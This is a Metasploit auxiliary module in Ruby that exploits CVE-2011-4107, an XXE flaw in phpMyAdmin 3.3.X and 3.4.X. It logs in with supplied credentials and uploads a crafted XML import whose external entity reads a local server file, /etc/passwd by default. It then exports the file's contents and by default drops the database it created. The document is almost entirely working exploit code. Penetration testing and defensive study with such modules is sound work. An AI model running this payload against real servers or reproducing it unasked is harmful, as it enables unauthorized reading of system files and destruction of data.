require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize
super(
'Name' => 'phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion via XXE Injection',
'Version' => '1.0',
'Description' => %q{Importing a specially-crafted XML file which contains an XML entity injection permits to retrieve a local file (limited by the privileges of the user running the web server).
The attacker must be logged in to MySQL via phpMyAdmin.
Works on Windows and Linux Versions 3.3.X and 3.4.X},
'References' =>
[
[ 'CVE', '2011-4107' ],
[ 'OSVDB', '76798' ],
[ 'BID', '50497' ],
[ 'URL', 'http://secforce.com/research/'],
],
'Author' => [ 'Marco Batista' ],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(80),
OptString.new('FILE', [ true, "File to read", '/etc/passwd']),
OptString.new('USER', [ true, "Username", 'root']),
OptString.new('PASS', [ false, "Password", 'password']),
OptString.new('DB', [ true, "Database to use/create", 'hddaccess']),
OptString.new('TBL', [ true, "Table to use/create and read the file to", 'files']),
OptString.new('APP', [ true, "Location for phpMyAdmin URL", '/phpmyadmin']),
OptString.new('DROP', [ true, "Drop database after reading file?", 'true']),
],self.class)
end
def loginprocess
getresponse = send_request_cgi({
'uri' => datastore['APP']+'/index.php',
'method' => 'GET',
'version' => '1.1',
}, 25)
if (getresponse.nil?)
print_error("no response for #{ip}:#{rport}")
elsif (getresponse.code == 200)
print_status("Received #{getresponse.code} from #{rhost}:#{rport}")
elsif (getresponse and getresponse.code == 302 or getresponse.code == 301)
print_status("Received 302 to #{getresponse.headers['Location']}")
else
print_error("Received #{getresponse.code} from #{rhost}:#{rport}")
end
valuesget = getresponse.headers["Set-Cookie"]
varsget = valuesget.split(" ")
phpMyAdmin = varsget.grep(/phpMyAdmin/).last
pma_mcrypt_iv = varsget.grep(/pma_mcrypt_iv/).last
postresponse = send_request_cgi({
'uri' => datastore['APP']+'/index.php',
'method' => 'POST',
'version' => '1.1',
'headers' =>{
'Content-Type' => 'application/x-www-form-urlencoded',
'Cookie' => "#{pma_mcrypt_iv} #{phpMyAdmin}"
},
'data' => 'pma_username='+datastore['USER']+'&pma_password='+datastore['PASS']+'&server=1'
}, 25)
if (postresponse["Location"].nil?)
print_status("TESTING#{postresponse.body.split("'").grep(/token/).first.split("=").last}")
tokenvalue = postresponse.body.split("'").grep(/token/).first.split("=").last
else
tokenvalue = postresponse["Location"].split("&").grep(/token/).last.split("=").last
end
valuespost = postresponse.headers["Set-Cookie"]
varspost = valuespost.split(" ")
pmaUser = varspost.grep(/pmaUser-1/).last
pmaPass = varspost.grep(/pmaPass-1/).last
return "#{pma_mcrypt_iv} #{phpMyAdmin} #{pmaUser} #{pmaPass}",tokenvalue
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, Rex::ConnectionError =>e
print_error(e.message)
rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH =>e
print_error(e.message)
end
def readfile(cookie,tokenvalue)
getfiles = send_request_cgi({
'uri' => datastore['APP']+'/export.php',
'method' => 'POST',
'version' => '1.1',
'headers' =>{
'Cookie' => cookie
},
'data' => 'db='+datastore['DB']+'&table='+datastore['TBL']+'&token='+tokenvalue+'&single_table=TRUE&export_type=table&sql_query=SELECT+*+FROM+%60files%60&what=texytext&texytext_structure=something&texytext_data=something&texytext_null=NULL&asfile=sendit&allrows=1&codegen_structure_or_data=data&texytext_structure_or_data=structure_and_data&yaml_structure_or_data=data'
}, 25)
if (getfiles.body.split("\n").grep(/== Dumping data for table/).empty?)
print_error("Error reading the file... not enough privilege? login error?")
else
print_status("#{getfiles.body}")
end
end
def dropdatabase(cookie,tokenvalue)
dropdb = send_request_cgi({
'uri' => datastore['APP']+'/sql.php?sql_query=DROP+DATABASE+%60'+datastore['DB']+'%60&back=db_operations.php&goto=main.php&purge=1&token='+tokenvalue+'&is_js_confirmed=1&ajax_request=false',
'method' => 'GET',
'version' => '1.1',
'headers' =>{
'Cookie' => cookie
},
}, 25)
print_status("Dropping database: "+datastore['DB'])
end
def run
cookie,tokenvalue = loginprocess()
print_status("Login at #{datastore['RHOST']}:#{datastore['RPORT']}#{datastore['APP']} using #{datastore['USER']}:#{datastore['PASS']}")
craftedXML = "------WebKitFormBoundary3XPL01T\n"
craftedXML << "Content-Disposition: form-data; name=\"token\"\n\n"
craftedXML << tokenvalue+"\n"
craftedXML << "------WebKitFormBoundary3XPL01T\n"
craftedXML << "Content-Disposition: form-data; name=\"import_type\"\n\n"
craftedXML << "server\n"
craftedXML << "------WebKitFormBoundary3XPL01T\n"
craftedXML << "Content-Disposition: form-data; name=\"import_file\"; filename=\"exploit.xml\"\n"
craftedXML << "Content-Type: text/xml\n\n"
craftedXML << "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n"
craftedXML << "<!DOCTYPE ficheiro [ \n"
craftedXML << " <!ENTITY conteudo SYSTEM \"file:///#{datastore['FILE']}\" >]>\n"
craftedXML << "<pma_xml_export version=\"1.0\" xmlns:pma=\"http://www.phpmyadmin.net/some_doc_url/\">\n"
craftedXML << " <pma:structure_schemas>\n"
craftedXML << " <pma:database name=\""+datastore['DB']+"\" collation=\"utf8_general_ci\" charset=\"utf8\">\n"
craftedXML << " <pma:table name=\""+datastore['TBL']+"\">\n"
craftedXML << " CREATE TABLE `"+datastore['TBL']+"` (`file` varchar(20000) NOT NULL);\n"
craftedXML << " </pma:table>\n"
craftedXML << " </pma:database>\n"
craftedXML << " </pma:structure_schemas>\n"
craftedXML << " <database name=\""+datastore['DB']+"\">\n"
craftedXML << " <table name=\""+datastore['TBL']+"\">\n"
craftedXML << " <column name=\"file\">&conteudo;</column>\n"
craftedXML << " </table>\n"
craftedXML << " </database>\n"
craftedXML << "</pma_xml_export>\n\n"
craftedXML << "------WebKitFormBoundary3XPL01T\n"
craftedXML << "Content-Disposition: form-data; name=\"format\"\n\n"
craftedXML << "xml\n"
craftedXML << "------WebKitFormBoundary3XPL01T\n"
craftedXML << "Content-Disposition: form-data; name=\"csv_terminated\"\n\n"
craftedXML << ",\n\n"
craftedXML << "------WebKitFormBoundary3XPL01T--"
print_status("Grabbing that #{datastore['FILE']} you want...")
res = send_request_cgi({
'uri' => datastore['APP']+'/import.php',
'method' => 'POST',
'version' => '1.1',
'headers' =>{
'Content-Type' => 'multipart/form-data; boundary=----WebKitFormBoundary3XPL01T',
'Cookie' => cookie
},
'data' => craftedXML
}, 25)
readfile(cookie,tokenvalue)
if (datastore['DROP'] == "true")
dropdatabase(cookie,tokenvalue)
else
print_status("Database was not dropped: "+datastore['DB'])
end
end
end
